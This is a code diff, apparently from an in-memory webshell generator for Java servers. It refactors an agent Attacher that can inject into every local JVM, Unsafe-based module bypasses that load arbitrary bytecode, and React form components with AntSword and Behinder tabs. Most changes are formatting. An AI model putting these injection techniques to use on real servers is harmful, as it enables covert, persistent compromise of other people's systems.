for (Attacher.JavaProcessDescriptor process : processes) {
System.out.println(process);
}
}
} else if ("all".equalsIgnoreCase(args[0])) {
List<Attacher.JavaProcessDescriptor> processes = Attacher.listJavaProcesses();
String currentPid = Attacher.ProcessProvider.ForCurrentVm.INSTANCE.resolve();
if (processes.isEmpty()) {
System.out.println("No Java processes found.");
} else {
for (Attacher.JavaProcessDescriptor process : processes) {
if (process.getPid().equals(currentPid)) {
continue;
}
try {
System.out.println("Attaching to " + process + " ...");
Attacher.attach(process.getPid());
System.out.println(" -> Success");
} catch (Exception e) {
System.out.println(" -> Failed: " + e.getMessage());
}
}
}
} else {
Attacher.attach(args[0]);
}
} }
} }
@@ -1,6 +1,5 @@
package com.reajason.javaweb.asm; package com.reajason.javaweb.asm;
import org.jetbrains.annotations.NotNull;
import org.objectweb.asm.ClassReader; import org.objectweb.asm.ClassReader;
import org.objectweb.asm.ClassWriter; import org.objectweb.asm.ClassWriter;
import org.objectweb.asm.Opcodes; import org.objectweb.asm.Opcodes;
@@ -15,7 +14,12 @@ import org.objectweb.asm.commons.SimpleRemapper;
public class ClassRenameUtils { public class ClassRenameUtils {
public static byte[] renameClass(byte[] classBytes, String newName) { public static byte[] renameClass(byte[] classBytes, String newName) {
ClassReader reader = getClassReader(classBytes); ClassReader reader = null;
try {
reader = new ClassReader(classBytes);
} catch (Exception e) {
throw new RuntimeException("invalid class bytes");
}
String oldClassName = reader.getClassName(); String oldClassName = reader.getClassName();
String newClassName = newName.replace('.', '/'); String newClassName = newName.replace('.', '/');
ClassWriter writer = new ClassWriter(reader, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES); ClassWriter writer = new ClassWriter(reader, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES);
@@ -25,7 +29,12 @@ public class ClassRenameUtils {
} }
public static byte[] relocateClass(byte[] classBytes, String relocateClassPackage, String relocatePrefix) { public static byte[] relocateClass(byte[] classBytes, String relocateClassPackage, String relocatePrefix) {
ClassReader reader = getClassReader(classBytes); ClassReader reader = null;
try {
reader = new ClassReader(classBytes);
} catch (Exception e) {
throw new RuntimeException("invalid class bytes");
}
String oldClassName = relocateClassPackage.replace('.', '/'); String oldClassName = relocateClassPackage.replace('.', '/');
String newClassName = relocatePrefix.replace('.', '/'); String newClassName = relocatePrefix.replace('.', '/');
ClassWriter writer = new ClassWriter(reader, ClassWriter.COMPUTE_MAXS); ClassWriter writer = new ClassWriter(reader, ClassWriter.COMPUTE_MAXS);
@@ -42,32 +51,4 @@ public class ClassRenameUtils {
reader.accept(adapter, 0); reader.accept(adapter, 0);
return writer.toByteArray(); return writer.toByteArray();
} }
public static byte[] relocateJakarta(byte[] classBytes) {
ClassReader reader = getClassReader(classBytes);
ClassWriter writer = new ClassWriter(reader, ClassWriter.COMPUTE_MAXS);
ClassRemapper adapter = new ClassRemapper(writer, new Remapper(Opcodes.ASM9) {
@Override
public String map(String typeName) {
if (typeName.startsWith("javax/servlet/")
|| typeName.startsWith("javax/websocket/")) {
return typeName.replaceFirst("javax", "jakarta");
} else {
return typeName;
}
}
});
reader.accept(adapter, 0);
return writer.toByteArray();
}
private static @NotNull ClassReader getClassReader(byte[] classBytes) {
ClassReader reader = null;
try {
reader = new ClassReader(classBytes);
} catch (Exception e) {
throw new RuntimeException("invalid class bytes");
}
return reader;
}
} }
@@ -15,7 +15,6 @@ package com.reajason.javaweb.packer.jar.attach;/*
*/ */
import java.io.File; import java.io.File;
import java.io.FileInputStream;
import java.io.IOException; import java.io.IOException;
import java.lang.reflect.InvocationTargetException; import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method; import java.lang.reflect.Method;
@@ -23,12 +22,13 @@ import java.net.MalformedURLException;
import java.net.URISyntaxException; import java.net.URISyntaxException;
import java.net.URL; import java.net.URL;
import java.net.URLClassLoader; import java.net.URLClassLoader;
import java.nio.ByteBuffer;
import java.nio.ByteOrder;
import java.security.CodeSource; import java.security.CodeSource;
import java.security.PrivilegedAction; import java.security.PrivilegedAction;
import java.security.ProtectionDomain; import java.security.ProtectionDomain;
import java.util.*; import java.util.ArrayList;
import java.util.Arrays;
import java.util.Collections;
import java.util.List;
/** /**
* Copy from <a href="https://github.com/raphw/byte-buddy/blob/master/byte-buddy-agent">Byte Buddy</a> * Copy from <a href="https://github.com/raphw/byte-buddy/blob/master/byte-buddy-agent">Byte Buddy</a>
@@ -53,54 +53,24 @@ public class Attacher {
} }
public static void main(String[] args) throws Exception { public static void main(String[] args) throws Exception {
if (args.length == 0) {
List<JavaProcessDescriptor> processes = listJavaProcesses();
if (processes.isEmpty()) {
System.out.println("No Java processes found.");
} else {
for (JavaProcessDescriptor process : processes) {
System.out.println(process);
}
}
} else if ("all".equalsIgnoreCase(args[0])) {
List<JavaProcessDescriptor> processes = listJavaProcesses();
String currentPid = ProcessProvider.ForCurrentVm.INSTANCE.resolve();
if (processes.isEmpty()) {
System.out.println("No Java processes found.");
} else {
for (JavaProcessDescriptor process : processes) {
if (process.getPid().equals(currentPid)) {
continue;
}
try {
System.out.println("Attaching to " + process + " ...");
doAttach(process.getPid());
System.out.println(" -> Success");
} catch (Exception e) {
System.out.println(" -> Failed: " + e.getMessage());
e.printStackTrace();
}
}
}
} else {
doAttach(args[0]);
System.out.println("ok");
}
}
private static void doAttach(String processId) {
try { try {
Attacher.attach(processId); Attacher.attach(args[0]);
} catch (Exception e) { } catch (Exception e) {
Throwable currentCause = e; if (!e.getMessage().equals("0")) {
while (currentCause != null) { Throwable cause = e.getCause();
if ("0".equals(currentCause.getMessage())) { if (cause != null) {
return; if (!cause.getMessage().equals("0")) {
cause = e.getCause();
if (cause != null) {
if (!cause.getMessage().equals("0")) {
throw e;
}
}
}
} }
currentCause = currentCause.getCause();
} }
throw (RuntimeException) e;
} }
System.out.println("ok");
} }
/** /**
@@ -142,30 +112,6 @@ public class Attacher {
install(processId, argument, new AgentProvider.ForExistingAgent(agentJar)); install(processId, argument, new AgentProvider.ForExistingAgent(agentJar));
} }
/**
* <p>
* Lists all discoverable Java processes on the local host.
* Supports both HotSpot and OpenJ9 JVMs across Windows, macOS, and Linux.
* </p>
*
* @return A list of discovered Java process descriptors.
*/
public static List<JavaProcessDescriptor> listJavaProcesses() {
List<JavaProcessDescriptor> processes = new ArrayList<JavaProcessDescriptor>();
Set<String> seenPids = new HashSet<String>();
for (JavaProcessDescriptor descriptor : HotSpotProcessDiscovery.discover()) {
if (seenPids.add(descriptor.getPid())) {
processes.add(descriptor);
}
}
for (JavaProcessDescriptor descriptor : OpenJ9ProcessDiscovery.discover()) {
if (seenPids.add(descriptor.getPid())) {
processes.add(descriptor);
}
}
return processes;
}
/** /**
* Installs a Java agent on a target VM. * Installs a Java agent on a target VM.
* *
@@ -1003,300 +949,4 @@ public class Attacher {
} }
} }
} }
/**
* Represents a discovered Java process on the local host.
*/
public static class JavaProcessDescriptor {
private final String pid;
private final String mainClass;
private final String vmType;
public JavaProcessDescriptor(String pid, String mainClass, String vmType) {
this.pid = pid;
this.mainClass = mainClass;
this.vmType = vmType;
}
public String getPid() {
return pid;
}
public String getMainClass() {
return mainClass;
}
public String getVmType() {
return vmType;
}
@Override
public String toString() {
StringBuilder sb = new StringBuilder();
sb.append(pid);
if (mainClass.length() > 0) {
sb.append(' ').append(mainClass);
}
sb.append(" (").append(vmType).append(')');
return sb.toString();
}
}
/**
* Discovers running HotSpot JVM processes by scanning {@code hsperfdata_<user>} directories.
*/
private static class HotSpotProcessDiscovery {
private static final int PERFDATA_MAGIC = 0xcafec0c0;
private static final String HSPERFDATA_PREFIX = "hsperfdata_";
private static final String JAVA_COMMAND_KEY = "sun.rt.javaCommand";
private static final byte UNITS_STRING = 5;
private static final int MAX_PERFDATA_SIZE = 1024 * 1024;
private static final int MIN_PERFDATA_SIZE = 32;
private static final int ENTRY_HEADER_SIZE = 20;
static List<JavaProcessDescriptor> discover() {
List<JavaProcessDescriptor> result = new ArrayList<JavaProcessDescriptor>();
Set<String> seen = new HashSet<String>();
for (File tmpDir : getTempDirectories()) {
if (!tmpDir.isDirectory()) {
continue;
}
File[] userDirs = tmpDir.listFiles();
if (userDirs == null) {
continue;
}
for (File userDir : userDirs) {
if (!userDir.isDirectory() || !userDir.getName().startsWith(HSPERFDATA_PREFIX)) {
continue;
}
File[] pidFiles = userDir.listFiles();
if (pidFiles == null) {
continue;
}
for (File pidFile : pidFiles) {
String fileName = pidFile.getName();
if (!pidFile.isFile() || !pidFile.canRead() || !isNumeric(fileName)) {
continue;
}
if (!seen.add(fileName)) {
continue;
}
String javaCommand = parsePerfData(pidFile);
result.add(new JavaProcessDescriptor(fileName, extractMainClass(javaCommand), "HotSpot"));
}
}
}
return result;
}
private static List<File> getTempDirectories() {
List<File> dirs = new ArrayList<File>();
String osName = System.getProperty("os.name", "");
if (osName.startsWith("Windows")) {
dirs.add(new File(System.getProperty("java.io.tmpdir")));
} else {
dirs.add(new File("/tmp"));
String javaIoTmpDir = System.getProperty("java.io.tmpdir");
if (javaIoTmpDir != null && !"/tmp".equals(javaIoTmpDir) && !"/tmp/".equals(javaIoTmpDir)) {
dirs.add(new File(javaIoTmpDir));
}
}
return dirs;
}
private static String parsePerfData(File file) {
FileInputStream fis = null;
try {
fis = new FileInputStream(file);
long fileLength = file.length();
if (fileLength < MIN_PERFDATA_SIZE || fileLength > MAX_PERFDATA_SIZE) {
return "";
}
byte[] data = new byte[(int) fileLength];
int totalRead = 0;
int bytesRead;
while (totalRead < data.length
&& (bytesRead = fis.read(data, totalRead, data.length - totalRead)) != -1) {
totalRead += bytesRead;
}
if (totalRead < MIN_PERFDATA_SIZE) {
return "";
}
ByteBuffer buffer = ByteBuffer.wrap(data, 0, totalRead);
buffer.order(ByteOrder.BIG_ENDIAN);
int magic = buffer.getInt();
if (magic != PERFDATA_MAGIC) {
return "";
}
byte byteOrder = buffer.get();
if (byteOrder == 1) {
buffer.order(ByteOrder.LITTLE_ENDIAN);
}
byte majorVersion = buffer.get();
buffer.get(); // minor version
buffer.get(); // accessible / reserved
if (majorVersion < 2) {
return "";
}
buffer.getInt(); // used
buffer.getInt(); // overflow
buffer.getLong(); // mod_time_stamp
int entryOffset = buffer.getInt();
int numEntries = buffer.getInt();
int pos = entryOffset;
for (int i = 0; i < numEntries && pos >= 0 && pos + ENTRY_HEADER_SIZE <= totalRead; i++) {
buffer.position(pos);
int entryLength = buffer.getInt();
if (entryLength <= 0 || pos + entryLength > totalRead) {
break;
}
int nameOffset = buffer.getInt();
buffer.getInt(); // vector_length
buffer.get(); // data_type
buffer.get(); // flags
byte dataUnits = buffer.get();
buffer.get(); // data_variability
int dataOffset = buffer.getInt();
int nameStart = pos + nameOffset;
if (nameStart < 0 || nameStart >= totalRead) {
pos += entryLength;
continue;
}
int nameEnd = nameStart;
while (nameEnd < totalRead && data[nameEnd] != 0) {
nameEnd++;
}
String name = new String(data, nameStart, nameEnd - nameStart, "UTF-8");
if (JAVA_COMMAND_KEY.equals(name) && dataUnits == UNITS_STRING) {
int dataStart = pos + dataOffset;
if (dataStart < 0 || dataStart >= totalRead) {
return "";
}
int dataEnd = dataStart;
while (dataEnd < totalRead && data[dataEnd] != 0) {
dataEnd++;
}
return new String(data, dataStart, dataEnd - dataStart, "UTF-8");
}
pos += entryLength;
}
return "";
} catch (Exception ignored) {
return "";
} finally {
if (fis != null) {
try {
fis.close();
} catch (IOException ignored) {
/* do nothing */
}
}
}
}
private static boolean isNumeric(String str) {
if (str == null || str.isEmpty()) {
return false;
}
for (int i = 0; i < str.length(); i++) {
if (str.charAt(i) < '0' || str.charAt(i) > '9') {
return false;
}
}
return true;
}
private static String extractMainClass(String javaCommand) {
if (javaCommand == null || javaCommand.isEmpty()) {
return "";
}
int spaceIndex = javaCommand.indexOf(' ');
return spaceIndex > 0 ? javaCommand.substring(0, spaceIndex) : javaCommand;
}
}
/**
* Discovers running OpenJ9 JVM processes by scanning {@code .com_ibm_tools_attach} directories.
*/
private static class OpenJ9ProcessDiscovery {
private static final String ATTACH_DIR_NAME = ".com_ibm_tools_attach";
private static final String ATTACH_INFO_FILE = "attachInfo";
static List<JavaProcessDescriptor> discover() {
List<JavaProcessDescriptor> result = new ArrayList<JavaProcessDescriptor>();
for (File attachDir : getAttachDirectories()) {
if (!attachDir.isDirectory()) {
continue;
}
File[] vmDirs = attachDir.listFiles();
if (vmDirs == null) {
continue;
}
for (File vmDir : vmDirs) {
if (!vmDir.isDirectory()) {
continue;
}
File attachInfo = new File(vmDir, ATTACH_INFO_FILE);
if (!attachInfo.isFile() || !attachInfo.canRead()) {
continue;
}
FileInputStream fis = null;
try {
Properties props = new Properties();
fis = new FileInputStream(attachInfo);
props.load(fis);
String pid = props.getProperty("processId");
String displayName = props.getProperty("displayName", "");
if (pid != null && pid.length() > 0) {
result.add(new JavaProcessDescriptor(pid, displayName, "OpenJ9"));
}
} catch (Exception ignored) {
/* do nothing */
} finally {
if (fis != null) {
try {
fis.close();
} catch (IOException ignored) {
/* do nothing */
}
}
}
}
}
return result;
}
private static List<File> getAttachDirectories() {
List<File> dirs = new ArrayList<File>();
String osName = System.getProperty("os.name", "");
if (osName.startsWith("Windows")) {
dirs.add(new File(System.getProperty("java.io.tmpdir"), ATTACH_DIR_NAME));
} else {
dirs.add(new File("/tmp", ATTACH_DIR_NAME));
String javaIoTmpDir = System.getProperty("java.io.tmpdir");
if (javaIoTmpDir != null && !"/tmp".equals(javaIoTmpDir) && !"/tmp/".equals(javaIoTmpDir)) {
dirs.add(new File(javaIoTmpDir, ATTACH_DIR_NAME));
}
}
String ibmAttachDir = System.getProperty("com.ibm.tools.attach.directory");
if (ibmAttachDir != null) {
dirs.add(new File(ibmAttachDir));
}
return dirs;
}
}
} }
@@ -4,7 +4,7 @@
super(classLoader); super(classLoader);
} }
public Class defineClass(byte[] code) { public Class<?> defineClass(byte[] code) {
return defineClass(null, code, 0, code.length); return defineClass(null, code, 0, code.length);
} }
} }
@@ -6,7 +6,7 @@
public ClassDefiner(ClassLoader classLoader) { public ClassDefiner(ClassLoader classLoader) {
super(classLoader); super(classLoader);
} }
public Class defineClass(byte[] code) { public Class<?> defineClass(byte[] code) {
return defineClass(null, code, 0, code.length); return defineClass(null, code, 0, code.length);
} }
} }
@@ -4,7 +4,7 @@
long offset = 48; long offset = 48;
java.lang.reflect.Method getAndSetObjectM = null; java.lang.reflect.Method getAndSetObjectM = null;
try { try {
Class unsafeClass = Class.forName("sun.misc.Unsafe"); Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField("theUnsafe"); java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true); unsafeField.setAccessible(true);
unsafe = unsafeField.get(null); unsafe = unsafeField.get(null);
@@ -28,7 +28,7 @@
} }
java.lang.reflect.Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE); java.lang.reflect.Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
defMethod.setAccessible(true); defMethod.setAccessible(true);
Class clazz = (Class) defMethod.invoke(Thread.currentThread().getContextClassLoader(), bytecode, 0, bytecode.length); Class<?> clazz = (Class<?>) defMethod.invoke(Thread.currentThread().getContextClassLoader(), bytecode, 0, bytecode.length);
if (getAndSetObjectM != null) { if (getAndSetObjectM != null) {
getAndSetObjectM.invoke(unsafe, this.getClass(), offset, rawModule); getAndSetObjectM.invoke(unsafe, this.getClass(), offset, rawModule);
} }
-20
View File
@@ -1,20 +0,0 @@
{
"$schema": "./node_modules/oxfmt/configuration_schema.json",
"experimentalTailwindcss": {
"stylesheet": "./app/app.css",
"attributes": ["class", "className"],
"functions": ["clsx", "cn"],
"preserveWhitespace": true
},
"ignorePatterns": [],
"sortImports": {
"newlinesBetween": true,
"groups": [
"type-import",
["value-builtin", "value-external"],
"value-internal",
["value-parent", "value-sibling", "value-index"],
"unknown"
]
}
}
-12
View File
@@ -1,12 +0,0 @@
{
"$schema": "./node_modules/oxlint/configuration_schema.json",
"rules": {
"no-unused-vars": [
"warn",
{
"args": "none",
"varsIgnorePattern": "^_"
}
]
}
}
-8
View File
@@ -3,14 +3,6 @@
@import "fumadocs-ui/css/shadcn.css"; @import "fumadocs-ui/css/shadcn.css";
@import "fumadocs-ui/css/preset.css"; @import "fumadocs-ui/css/preset.css";
html {
scrollbar-gutter: stable;
}
html:has(body[data-scroll-locked]) {
scrollbar-gutter: auto;
}
:root { :root {
--radius: 0.625rem; --radius: 0.625rem;
--background: oklch(1 0 0); --background: oklch(1 0 0);
+16 -8
View File
@@ -1,14 +1,18 @@
import type { VariantProps } from "class-variance-authority"; import type { VariantProps } from "class-variance-authority";
import { Check, Copy } from "lucide-react"; import { Check, Copy } from "lucide-react";
import { type HTMLProps, type ReactNode, useCallback, useEffect, useState } from "react"; import {
type HTMLProps,
type ReactNode,
useCallback,
useEffect,
useState,
} from "react";
import CopyToClipboard from "react-copy-to-clipboard"; import CopyToClipboard from "react-copy-to-clipboard";
import { useTranslation } from "react-i18next"; import { useTranslation } from "react-i18next";
import { PrismLight as SyntaxHighlighter } from "react-syntax-highlighter"; import { PrismLight as SyntaxHighlighter } from "react-syntax-highlighter";
import java from "react-syntax-highlighter/dist/esm/languages/prism/java"; import java from "react-syntax-highlighter/dist/esm/languages/prism/java";
import materialDark from "react-syntax-highlighter/dist/esm/styles/prism/material-dark"; import materialDark from "react-syntax-highlighter/dist/esm/styles/prism/material-dark";
import { toast } from "sonner"; import { toast } from "sonner";
import { Button, type buttonVariants } from "@/components/ui/button"; import { Button, type buttonVariants } from "@/components/ui/button";
import { cn } from "@/lib/utils"; import { cn } from "@/lib/utils";
@@ -64,13 +68,17 @@ export default function CodeViewer({
showLineNumbers = true, showLineNumbers = true,
wrapLongLines = true, wrapLongLines = true,
}: Readonly<CodeViewerProps>) { }: Readonly<CodeViewerProps>) {
const lineProps: lineTagPropsFunction | HTMLProps<HTMLElement> | undefined = wrapLongLines const lineProps: lineTagPropsFunction | HTMLProps<HTMLElement> | undefined =
? { style: { overflowWrap: "break-word", whiteSpace: "pre-wrap" } } wrapLongLines
: undefined; ? { style: { overflowWrap: "break-word", whiteSpace: "pre-wrap" } }
: undefined;
return ( return (
<div className="rounded-lg border"> <div className="rounded-lg border">
<div <div
className={cn("flex items-center justify-end border-b p-2", header && "justify-between")} className={cn(
"flex items-center border-b p-2 justify-end",
header && "justify-between",
)}
> >
{header} {header}
<div className="flex items-center gap-2"> <div className="flex items-center gap-2">
@@ -78,7 +86,7 @@ export default function CodeViewer({
<CopyButton value={code} variant="ghost" size="sm" /> <CopyButton value={code} variant="ghost" size="sm" />
</div> </div>
</div> </div>
<div className="wrap-all relative overflow-hidden text-xs"> <div className="relative overflow-hidden text-xs wrap-all">
<SyntaxHighlighter <SyntaxHighlighter
language={language} language={language}
style={materialDark} style={materialDark}
+12 -4
View File
@@ -1,9 +1,13 @@
import { Check, Copy } from "lucide-react"; import { Check, Copy } from "lucide-react";
import { type ComponentPropsWithoutRef, useCallback, useEffect, useState } from "react"; import {
type ComponentPropsWithoutRef,
useCallback,
useEffect,
useState,
} from "react";
import CopyToClipboard from "react-copy-to-clipboard"; import CopyToClipboard from "react-copy-to-clipboard";
import { useTranslation } from "react-i18next"; import { useTranslation } from "react-i18next";
import { toast } from "sonner"; import { toast } from "sonner";
import { Button } from "@/components/ui/button"; import { Button } from "@/components/ui/button";
import { Label } from "@/components/ui/label"; import { Label } from "@/components/ui/label";
import { cn } from "@/lib/utils"; import { cn } from "@/lib/utils";
@@ -44,7 +48,7 @@ export function CopyableField({
return ( return (
<div className={cn("flex flex-col gap-1 py-1", className)} {...divProps}> <div className={cn("flex flex-col gap-1 py-1", className)} {...divProps}>
<div className="flex h-6 items-center justify-between gap-2"> <div className="flex items-center justify-between gap-2 h-6">
<Label className="text-sm text-muted-foreground">{label}</Label> <Label className="text-sm text-muted-foreground">{label}</Label>
{value && ( {value && (
<CopyToClipboard.CopyToClipboard text={value} onCopy={handleCopy}> <CopyToClipboard.CopyToClipboard text={value} onCopy={handleCopy}>
@@ -55,7 +59,11 @@ export function CopyableField({
className="h-8 w-8" className="h-8 w-8"
disabled={hasCopied} disabled={hasCopied}
> >
{hasCopied ? <Check className="h-4 w-4" /> : <Copy className="h-4 w-4" />} {hasCopied ? (
<Check className="h-4 w-4" />
) : (
<Copy className="h-4 w-4" />
)}
</Button> </Button>
</CopyToClipboard.CopyToClipboard> </CopyToClipboard.CopyToClipboard>
)} )}
-13
View File
@@ -1,13 +0,0 @@
export type IconProps = React.HTMLAttributes<SVGElement>;
export const Icons = {
gitHub: (props: IconProps) => (
<svg viewBox="0 0 438.549 438.549" {...props}>
<title>GitHub</title>
<path
fill="currentColor"
d="M409.132 114.573c-19.608-33.596-46.205-60.194-79.798-79.8-33.598-19.607-70.277-29.408-110.063-29.408-39.781 0-76.472 9.804-110.063 29.408-33.596 19.605-60.192 46.204-79.8 79.8C9.803 148.168 0 184.854 0 224.63c0 47.78 13.94 90.745 41.827 128.906 27.884 38.164 63.906 64.572 108.063 79.227 5.14.954 8.945.283 11.419-1.996 2.475-2.282 3.711-5.14 3.711-8.562 0-.571-.049-5.708-.144-15.417a2549.81 2549.81 0 01-.144-25.406l-6.567 1.136c-4.187.767-9.469 1.092-15.846 1-6.374-.089-12.991-.757-19.842-1.999-6.854-1.231-13.229-4.086-19.13-8.559-5.898-4.473-10.085-10.328-12.56-17.556l-2.855-6.57c-1.903-4.374-4.899-9.233-8.992-14.559-4.093-5.331-8.232-8.945-12.419-10.848l-1.999-1.431c-1.332-.951-2.568-2.098-3.711-3.429-1.142-1.331-1.997-2.663-2.568-3.997-.572-1.335-.098-2.43 1.427-3.289 1.525-.859 4.281-1.276 8.28-1.276l5.708.853c3.807.763 8.516 3.042 14.133 6.851 5.614 3.806 10.229 8.754 13.846 14.842 4.38 7.806 9.657 13.754 15.846 17.847 6.184 4.093 12.419 6.136 18.699 6.136 6.28 0 11.704-.476 16.274-1.423 4.565-.952 8.848-2.383 12.847-4.285 1.713-12.758 6.377-22.559 13.988-29.41-10.848-1.14-20.601-2.857-29.264-5.14-8.658-2.286-17.605-5.996-26.835-11.14-9.235-5.137-16.896-11.516-22.985-19.126-6.09-7.614-11.088-17.61-14.987-29.979-3.901-12.374-5.852-26.648-5.852-42.826 0-23.035 7.52-42.637 22.557-58.817-7.044-17.318-6.379-36.732 1.997-58.24 5.52-1.715 13.706-.428 24.554 3.853 10.85 4.283 18.794 7.952 23.84 10.994 5.046 3.041 9.089 5.618 12.135 7.708 17.705-4.947 35.976-7.421 54.818-7.421s37.117 2.474 54.823 7.421l10.849-6.849c7.419-4.57 16.18-8.758 26.262-12.565 10.088-3.805 17.802-4.853 23.134-3.138 8.562 21.509 9.325 40.922 2.279 58.24 15.036 16.18 22.559 35.787 22.559 58.817 0 16.178-1.958 30.497-5.853 42.966-3.9 12.471-8.941 22.457-15.125 29.979-6.191 7.521-13.901 13.85-23.131 18.986-9.232 5.14-18.182 8.85-26.84 11.136-8.662 2.286-18.415 4.004-29.263 5.146 9.894 8.562 14.842 22.077 14.842 40.539v60.237c0 3.422 1.19 6.279 3.572 8.562 2.379 2.279 6.136 2.95 11.276 1.995 44.163-14.653 80.185-41.062 108.068-79.226 27.88-38.161 41.825-81.126 41.825-128.906-.01-39.771-9.818-76.454-29.414-110.049z"
/>
</svg>
),
};
+13 -6
View File
@@ -1,10 +1,8 @@
"use client"; "use client";
import type { ComponentProps } from "react";
import { Image, type ImageProps } from "fumadocs-core/framework"; import { Image, type ImageProps } from "fumadocs-core/framework";
import type { ComponentProps } from "react";
import Zoom, { type UncontrolledProps } from "react-medium-image-zoom"; import Zoom, { type UncontrolledProps } from "react-medium-image-zoom";
import "@/components/image-zoom.css"; import "@/components/image-zoom.css";
export type ImageZoomProps = ImageProps & { export type ImageZoomProps = ImageProps & {
@@ -24,14 +22,20 @@ function getImageSrc(src: ImageProps["src"]): string {
if (typeof src === "object") { if (typeof src === "object") {
// Next.js // Next.js
if ("default" in src) return (src as { default: { src: string } }).default.src; if ("default" in src)
return (src as { default: { src: string } }).default.src;
return src.src; return src.src;
} }
return ""; return "";
} }
export function ImageZoom({ zoomInProps, children, rmiz, ...props }: ImageZoomProps) { export function ImageZoom({
zoomInProps,
children,
rmiz,
...props
}: ImageZoomProps) {
return ( return (
<Zoom <Zoom
zoomMargin={20} zoomMargin={20}
@@ -44,7 +48,10 @@ export function ImageZoom({ zoomInProps, children, rmiz, ...props }: ImageZoomPr
}} }}
> >
{children ?? ( {children ?? (
<Image sizes="(max-width: 768px) 100vw, (max-width: 1200px) 70vw, 900px" {...props} /> <Image
sizes="(max-width: 768px) 100vw, (max-width: 1200px) 70vw, 900px"
{...props}
/>
)} )}
</Zoom> </Zoom>
); );
-1
View File
@@ -1,6 +1,5 @@
import { LanguagesIcon } from "lucide-react"; import { LanguagesIcon } from "lucide-react";
import { useTranslation } from "react-i18next"; import { useTranslation } from "react-i18next";
import { Button } from "./ui/button"; import { Button } from "./ui/button";
export function LanguageSwitcher() { export function LanguageSwitcher() {
@@ -1,9 +1,9 @@
import { type MotionProps, motion } from "motion/react"; import { type MotionProps, motion } from "motion/react";
import { cn } from "@/lib/utils"; import { cn } from "@/lib/utils";
interface LineShadowTextProps interface LineShadowTextProps
extends Omit<React.HTMLAttributes<HTMLElement>, keyof MotionProps>, MotionProps { extends Omit<React.HTMLAttributes<HTMLElement>, keyof MotionProps>,
MotionProps {
shadowColor?: string; shadowColor?: string;
as?: React.ElementType; as?: React.ElementType;
} }
@@ -27,7 +27,7 @@ export function LineShadowText({
style={{ "--shadow-color": shadowColor } as React.CSSProperties} style={{ "--shadow-color": shadowColor } as React.CSSProperties}
className={cn( className={cn(
"relative z-0 inline-flex", "relative z-0 inline-flex",
"after:absolute after:top-[0.04em] after:left-[0.04em] after:content-[attr(data-text)]", "after:absolute after:left-[0.04em] after:top-[0.04em] after:content-[attr(data-text)]",
"after:bg-[linear-gradient(45deg,transparent_45%,var(--shadow-color)_45%,var(--shadow-color)_55%,transparent_0)]", "after:bg-[linear-gradient(45deg,transparent_45%,var(--shadow-color)_45%,var(--shadow-color)_55%,transparent_0)]",
"after:-z-10 after:bg-[length:0.06em_0.06em] after:bg-clip-text after:text-transparent", "after:-z-10 after:bg-[length:0.06em_0.06em] after:bg-clip-text after:text-transparent",
"after:animate-line-shadow", "after:animate-line-shadow",
-16
View File
@@ -1,16 +0,0 @@
import type { MDXComponents } from "mdx/types";
import defaultMdxComponents from "fumadocs-ui/mdx";
export function getMDXComponents(components?: MDXComponents) {
return {
...defaultMdxComponents,
...components,
} satisfies MDXComponents;
}
export const useMDXComponents = getMDXComponents;
declare global {
type MDXProvidedComponents = ReturnType<typeof getMDXComponents>;
}
@@ -1,9 +1,11 @@
import type { MemShellFormSchema } from "@/types/schema";
import { Controller, type UseFormReturn } from "react-hook-form"; import { Controller, type UseFormReturn } from "react-hook-form";
import { useTranslation } from "react-i18next"; import { useTranslation } from "react-i18next";
import {
import { Field, FieldContent, FieldError, FieldLabel } from "@/components/ui/field"; Field,
FieldContent,
FieldError,
FieldLabel,
} from "@/components/ui/field";
import { import {
Select, Select,
SelectContent, SelectContent,
@@ -11,6 +13,7 @@ import {
SelectTrigger, SelectTrigger,
SelectValue, SelectValue,
} from "@/components/ui/select"; } from "@/components/ui/select";
import type { MemShellFormSchema } from "@/types/schema";
const JDKVersion = [ const JDKVersion = [
{ name: "Java6", value: "50" }, { name: "Java6", value: "50" },
@@ -34,7 +37,9 @@ export function JREVersionFormField({
render={({ field, fieldState }) => ( render={({ field, fieldState }) => (
<Field orientation="vertical" data-invalid={fieldState.invalid}> <Field orientation="vertical" data-invalid={fieldState.invalid}>
<FieldContent> <FieldContent>
<FieldLabel htmlFor="targetJdkVersion">{t("common:targetJdkVersion")}</FieldLabel> <FieldLabel htmlFor="targetJdkVersion">
{t("common:targetJdkVersion")}
</FieldLabel>
<Select <Select
onValueChange={(v) => { onValueChange={(v) => {
if (Number.parseInt(v ?? "0", 10) >= 53) { if (Number.parseInt(v ?? "0", 10) >= 53) {
@@ -46,8 +51,13 @@ export function JREVersionFormField({
}} }}
value={field.value} value={field.value}
> >
<SelectTrigger id="targetJdkVersion" aria-invalid={fieldState.invalid}> <SelectTrigger
<SelectValue data-placeholder={t("common:placeholders.select")} /> id="targetJdkVersion"
aria-invalid={fieldState.invalid}
>
<SelectValue
data-placeholder={t("common:placeholders.select")}
/>
</SelectTrigger> </SelectTrigger>
<SelectContent> <SelectContent>
{JDKVersion.map((v) => ( {JDKVersion.map((v) => (
@@ -1,10 +1,7 @@
import type { MemShellFormSchema } from "@/types/schema";
import { ArrowUpRightIcon, InfoIcon, ServerIcon } from "lucide-react"; import { ArrowUpRightIcon, InfoIcon, ServerIcon } from "lucide-react";
import { useCallback, useEffect, useMemo } from "react"; import { useCallback, useEffect, useMemo } from "react";
import { Controller, type UseFormReturn, useWatch } from "react-hook-form"; import { Controller, type UseFormReturn, useWatch } from "react-hook-form";
import { useTranslation } from "react-i18next"; import { useTranslation } from "react-i18next";
import { AntSwordTabContent } from "@/components/memshell/tabs/antsword-tab"; import { AntSwordTabContent } from "@/components/memshell/tabs/antsword-tab";
import { BehinderTabContent } from "@/components/memshell/tabs/behinder-tab"; import { BehinderTabContent } from "@/components/memshell/tabs/behinder-tab";
import { CommandTabContent } from "@/components/memshell/tabs/command-tab"; import { CommandTabContent } from "@/components/memshell/tabs/command-tab";
